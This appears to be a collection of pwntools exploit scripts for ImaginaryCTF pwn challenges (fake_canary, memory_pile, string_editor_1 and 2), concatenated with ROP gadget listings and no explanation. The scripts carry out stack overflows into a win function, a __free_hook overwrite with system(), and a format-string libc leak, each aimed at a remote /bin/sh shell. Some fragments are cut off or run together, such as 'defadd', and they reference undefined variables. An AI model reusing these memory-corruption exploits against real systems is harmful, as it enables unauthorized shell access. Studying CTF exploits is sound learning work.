elf='./fake_canary' e=ELF(elf) #p=process(elf) p=remote('chal.imaginaryctf.org',42002) sleep(1) """ 0x000000000040079c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040079e : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007a0 : pop r14 ; pop r15 ; ret 0x00000000004007a2 : pop r15 ; ret 0x000000000040079b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040079f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400608 : pop rbp ; ret 0x00000000004007a3 : pop rdi ; ret 0x00000000004007a1 : pop rsi ; pop r15 ; ret 0x000000000040079d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400536 : ret 0x0000000000400542 : ret 0x200a """ #gdb.attach(p) p.sendline('1'*8*5+p64(0xDEADBEEF)+p64(e.symbols['win'])+p64(0x00000000000400729)) sleep(1) p.interactive()
log.info(hex(addr)) #gdb.attach(p) pay='1'*8*31+'2'*8+'3'*0x8+p64(addr) print(hex(len(pay))) """ 0x000000000040086c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040086e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400870 : pop r14 ; pop r15 ; ret 0x0000000000400872 : pop r15 ; ret 0x000000000040086b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040086f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400638 : pop rbp ; ret 0x0000000000400873 : pop rdi ; ret 0x0000000000400871 : pop rsi ; pop r15 ; ret 0x000000000040086d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400566 : ret 0x0000000000400769 : ret 0x8948 0x0000000000400763 : ret 0xb60f """ rdi_ret=(0x0000000000400873 )
from pwn import * from libcfind import * elf='./memory_pile'
e=ELF(elf) p=remote('chal.imaginaryctf.org',42007) #p=process(elf) p.recvuntil("I'll even give you a present, if you manage to unwrap it...\n") printf_addr=int(p.recvline(),16) defadd(num): p.sendline('1') p.recvuntil('With great power comes great responsibility >') p.sendline(str(num))
deffree(num): p.sendline('2') p.recvuntil('With great power comes great responsibility >') p.sendline(str(num))
defedit(num,text): p.sendline('3') p.recvuntil('With great power comes great responsibility >') p.sendline(str(num)) p.recvuntil('Let me have it, boss >') p.sendline(text)
from pwn import * from libcfind import * elf='string_editor_1'
e=ELF(elf) p=remote('chal.imaginaryctf.org',42004) #process(elf) p.recvuntil('But first, a word from our sponsors:') system_addr=int(p.recvline(),16) log.info('system:'+hex(system_addr)) x=finder('system',system_addr) free_hook=p64(x.dump('__free_hook')-0x20) p.sendline(str(-0x290)) p.sendline('x') for i in range(len(free_hook),-1,-1): p.sendline(str(-0x211+i)) p.sendline(free_hook[i-1]) p.sendline('15') p.sendline(p8(0)) p.sendline('14') p.sendline(p8(0)) system_addrs=p64(system_addr) for i in range(len(system_addrs),-1,-1): p.sendline(str(0x20+i-1)) p.sendline(system_addrs[i-1]) shall='\x00/bin/sh\x00' for i in range(len(shall),-1,-1): p.sendline(str(-i+8)) p.sendline(shall[-i]) #gdb.attach(p) p.interactive()
from pwn import * from libcfind import * elf='./string_editor_2' #0x601080 e=ELF(elf) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') print('__libc_start_main-l:'+hex(libc.sym['__libc_start_main'])) LIBC=ELF('./libc.so.6') print('__libc_start_main-r:'+hex(LIBC.sym['__libc_start_main'])) p=remote('chal.imaginaryctf.org',42005) #p=process(elf) """ shall='\x00/bin/sh\x00' for i in range(len(shall),-1,-1): p.sendline(str(-i+8)) p.sendline(shall[-i]) """ #864e50 sys=p64(e.sym['printf']).rjust(8,'\x00') print(sys) for i in range(len(sys),-1,-1): p.sendline(str(-0x69+i)) p.sendline(sys[i-1]) p.recvuntil('Done.') shall='%13$p' #shall='%16$p' #0x100000000 #shall='%13$p' for i in range(len(shall),-1,-1): p.sendline(str(-i+8)) p.sendline(shall[-i]) p.recvuntil('Done.') p.sendline(str(15)) #gdb.attach(p) p.recvuntil('3. Exit\n') p.sendline(str(2)) p.recvuntil('***')
sys=p64(x.dump('system')).rjust(8,'\x00') print(sys) for i in range(len(sys),-1,-1): p.sendline(str(-0x69+i)) p.sendline(sys[i-1]) p.recvuntil('Done.') shall='\x00\x00/bin/sh\x00' for i in range(len(shall),-1,-1): p.sendline(str(-i+8)) p.sendline(shall[-i]) p.recvuntil('Done.')